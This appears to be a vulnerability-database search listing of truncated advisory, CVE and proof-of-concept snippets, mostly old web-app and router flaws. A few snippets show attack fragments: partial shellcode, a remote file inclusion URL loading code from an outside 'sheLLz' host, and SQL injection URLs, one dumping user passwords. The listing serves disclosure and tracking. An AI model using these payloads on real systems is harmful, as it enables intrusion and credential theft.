SA-CONTRIB-2009-017 - Vote Up/Down - Cross-site request forgery

The Vote Up/Down module provides a voting widget for content that records votes using Ajax. The URL for voting is vulnerable to cross-site request forgeries CSRF making it possible for users to unknowingly vote for content. Versions affected Vote Up/Down 5.x-1.x prior to 5.x-1.1 Vote Up/Down...

Linux x86 - ifconfig eth0 down

No description provided by source. / Linux x86 - ifconfig eth0 down - 51 bytes Jonathan Salwan js.rac.projetATgmail.com Web: http://racprojet.zapto.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99 cltd 8048064: 52 push %edx 8048065: 68 64...

Neostrada Livebox Remote Network Down PoC Exploit

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

Neostrada Livebox Router Denial Of Service

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

Neostrada Livebox Router Remote Network Down PoC Exploit

No description provided by source. Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends:...

Neostrada Livebox Router - Remote Network Down (PoC)

Neostrada Livebox Router - Remote Network Down PoC Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members:...

CVE-2008-4435

Multiple cross-site scripting XSS vulnerabilities in the RMSOFT Downloads Plus rmdp module 1.5 and 1.7 for Xoops allow remote attackers to inject arbitrary web script or HTML via the 1 key parameter to search.php and the 2 id parameter to down.php...

WebCalendar 1.0.4 (includedir) Remote File Inclusion Vulnerability

No description provided by source. Cr@zyKing :\ BiyoSecurity Team WebCalendar v1.0.4 Remote Fle Include Demo - Down : http://webcalendar.sourceforge.net/ http://localhost/patch/tools/sendreminders.php?noSet=0&includedir=http://sheLLz? Google Dork : "WebCalendar v1.0.4" www.biyosecurity.com Greatz...

pnews-sql.txt

pNews 2.08 Remote SqL İnj. VuLn. OrginaL : http://biyosecurity.com & http://coderx.org Cr@zyKing / sqL L0v3r'Z Crew Co. 2008 Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=...

pNews 2.08 - 'shownews' SQL Injection

pNews 2.08 Remote SqL Ä°nj. VuLn. OrginaL : http://biyosecurity.com & http://coderx.org Cr@zyKing / sqL L0v3r'Z Crew Co. 2008 Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=...

PLog 1.0.6 - albumID SQL Injection

PLog 1.0.6 - albumID SQL Injection pLog albumId Remote Sql Ä°nj. DreamTurk / [email protected] Down : http://sourceforge.net/project/showfiles.php?groupid=83964&packageid=86556 http://localhost/index.php?op=ViewAlbum&albumId=-1//union//select//0,1,user,password,4,5,6,7,8 from plogusers/&blogId=...

Joomla Component Artist (idgalery) SQL Injection Vulnerability

No description provided by source. Cr@zyKing / [email protected] Joomla Component Artist Remote Sql njection M4sterZ sqL / t4cs1zkr4L : Down : http://www.joomlaresource.com/joomladownloads/Download/JoomlaComponents/Artists/ http://localhost/index.php?option=comartist&idgalery=Sql Sql :...

CORE-2008-0129 - Wonderware SuiteLink Denial of Service vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Wonderware SuiteLink Denial of Service vulnerability Advisory Information Title: Wonderware SuiteLink Denial of Service vulnerability Advisory ID: CORE-2008-0129...

DEBIAN-CVE-2007-4097

Tor before 0.1.2.15 sends "destroy cells" containing the reason for tearing down a circuit, which allows remote attackers to obtain sensitive information, contrary to specifications...

PoPToP pptpd DoS

Invalid PPTP packet causes connection tear-down...

CVE-2007-2120

The Oracle Discoverer servlet in Oracle Application Server 9.0.4.3, 10.1.2.0.2, and 10.1.2.2.0 allows remote attackers to shut down an Oracle TNS Listener via a TNS STOP command in a request that uses the database/TNS alias, aka AS01...

CVE-2006-6835

Technical details for CVE-2006-6835 are not publicly available in the provided documents. Monitor for updates.

CVE-2006-6835

SQL injection vulnerability in Journal.inc.php in Neocrome Land Down Under LDU 8.x and earlier allows remote attackers to execute arbitrary SQL commands via the w parameter to journal.php...

CVE-2005-4821

Multiple SQL injection vulnerabilities in Land Down Under LDU v801 and earlier allow remote attackers to execute arbitrary SQL commands via parameters including 1 the m parameter in auth.php, 2 the f parameter in events.php, or 3 the e parameter in plug.php...

CVE-2005-4821

CVE-2005-4821 affects Land Down Under (LDU) 8.01 and earlier. The vulnerability is SQL injection in web parameters: m in auth.php, f in events.php, and e in plug.php, allowing remote attackers to alter or disclose data. The CVSS v2 base score is 7.5 (HIGH) with network access, no authentication, ...